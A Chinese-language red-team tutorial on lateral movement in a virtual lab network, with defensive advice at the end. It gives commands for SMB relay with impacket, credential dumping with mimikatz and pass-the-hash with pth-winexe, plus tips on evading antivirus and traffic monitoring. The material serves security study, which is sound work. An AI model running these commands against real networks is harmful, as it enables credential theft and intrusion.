0x01 攻击板块

在企业网络中,信息技术架构通常由多个组件构成,包括工作站、服务器、数据库和网络设备。这些组件之间通过内网进行通信,形成一个复杂且庞大的系统。这种架构为攻击者提供了丰富的攻击面,只要能够成功渗透某一组件,就有可能通过横向移动获取更高权限,甚至完全控制整个网络。本文我们将探讨如何在内网环境下实现横向移动,并展示如何利用真实漏洞在模拟环境中重现攻击过程。

本文章仅限于授权安全测试,供安全研究人员学习。

黑客示意图

进击的网络结构

企业级网络架构通常由多个子网组成,每个子网都有独立的防火墙和路由设置。典型的企业网络内部结构包括:

  • 用户工作站子网:大多数用户访问互联网、使用日常办公软件。
  • 服务器子网:托管应用程序和数据库,通常防护较严。
  • 管理子网:仅限管理员访问,包含关键管理服务器。

攻击者在渗透第一台机器后,会尝试获取更多网络信息,以便横向移动至更高价值的目标。横向移动通常涉及以下几种技术:

  • SMB Relay 攻击:利用 SMB 协议实现身份验证中继。
  • Pass-the-Hash:通过捕获并重用 LM/NTLM 哈希实现身份验证。
  • WMI 执行:通过 Windows Management Instrumentation 在远程系统上执行命令。

实战环境搭建

为了重现内网横向移动,我们需要搭建一个虚拟实验环境。使用 VirtualBox 或 VMware 来创建以下虚拟机:

  • VM1-用户工作站:Windows 10
  • VM2-文件服务器:Windows Server 2016
  • VM3-数据库服务器:Linux Ubuntu 18.04
  • VM4-管理员工作站:Windows 10

这些虚拟机连接到同一个虚拟网络(192.168.1.0/24),并配置合理的防火墙规则以模拟真实环境。确保 VM1 和 VM2 之间有 SMB 共享连接,VM3 上运行 MySQL 服务,VM4 限制为仅管理员访问。

横向移动手段一:SMB中继攻击

SMB协议是Windows网络通信中的一个关键组件,通常用于文件共享和打印服务。我们将利用 SMB 中继攻击实现横向移动。此攻击的原理是截获 SMB 认证请求,并将其转发到目标服务器以实现身份验证。

配置攻击机器

在攻击机器(kali)上安装 impacket,它提供了一系列可用于执行中继攻击的工具。

<pre><code class="language-bash"># 安装 impacket sudo apt update sudo apt install python3-pip pip3 install impacket</code></pre>

执行SMB中继攻击

使用 impacket 提供的 smbrelayx.py 工具来执行这次攻击。

黑客示意图

<pre><code class="language-bash"># 配置并启动中继 python3 /usr/share/doc/python3-impacket/examples/smbrelayx.py -h python3 /usr/share/doc/python3-impacket/examples/smbrelayx.py -target 192.168.1.20</code></pre>

在目标机器上执行 SMB 中继操作,通过从 VM1 到 VM2 的认证请求中继以获取目标机上的访问权限。

代码注释: 这段代码设置了一个监听器,等待来自 VM1 的 SMB 请求并将其中继到 VM2。

横向移动手段二:Pass-the-Hash攻击

在成功中继 SMB 身份验证后,我们可以通过 Pass-the-Hash 技术在目标网络中进一步横向移动。此方法通过利用已获取的 NTLM 哈希值进行身份验证,无需知道明文密码。

捕获哈希

使用 mimikatz 工具从已经攻陷的工作站上捕获用户哈希。

<pre><code class="language-shell"># 在目标机上执行 mimikatz privilege::debug sekurlsa::logonpasswords</code></pre>

利用哈希进行身份验证

使用 pth-winexe 工具执行命令,利用捕获的哈希对远程 Windows 系统进行身份验证。

黑客示意图

<pre><code class="language-shell"># 使用捕获的哈希进行身份验证 pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:8855b3c622b7a1a12ad7deaa0f35b3c1 //192.168.1.30 &#039;cmd.exe&#039;</code></pre>

代码注释: 这段代码使用捕获的哈希通过 SMB 对目标系统进行远程命令执行。

绕过与免杀技巧

在执行横向移动攻击时,如何绕过安全防护是关键。以下是一些绕过技巧:

  • 混淆与加壳:使用工具对攻击载荷进行混淆或加壳,以绕过防病毒软件检测。
  • 内存加载技术:将恶意代码直接加载到内存中,避免在磁盘上留下痕迹。
  • 流量伪装:通过使用常见协议端口进行通信(如443端口),绕过流量监控。

检测与防御

在防御横向移动时,企业网络可以采取以下措施:

黑客示意图

  • 严格的网络分段:限制子网之间的通信,减少攻击面。
  • 监控身份验证请求:使用 SIEM 系统监控异常的身份验证请求。
  • 限制哈希传播:定期更新密码并限制 LM/NTLM哈希在网络中的存储和使用。
  • 启用多因素认证:增加身份验证难度,特别是在敏感系统上。

经验分享与总结

通过以上技术,我们可以看到内网横向移动的复杂性和技巧性。在进行攻击时,攻击者需要密切关注网络结构、身份验证机制和防御措施。在实际操作中,细节往往决定成败。作为红队人员,这些经验与技巧不仅仅是理论知识,更多的是实战中总结出的宝贵经验。

在安全测试中,我们应始终遵循道德规范,确保所有操作得到授权。在理解攻击者思维的同时,强化防御措施,提升整体网络安全性。通过不断的学习和实战,我们才能在日益复杂的网络环境中保持领先,确保安全。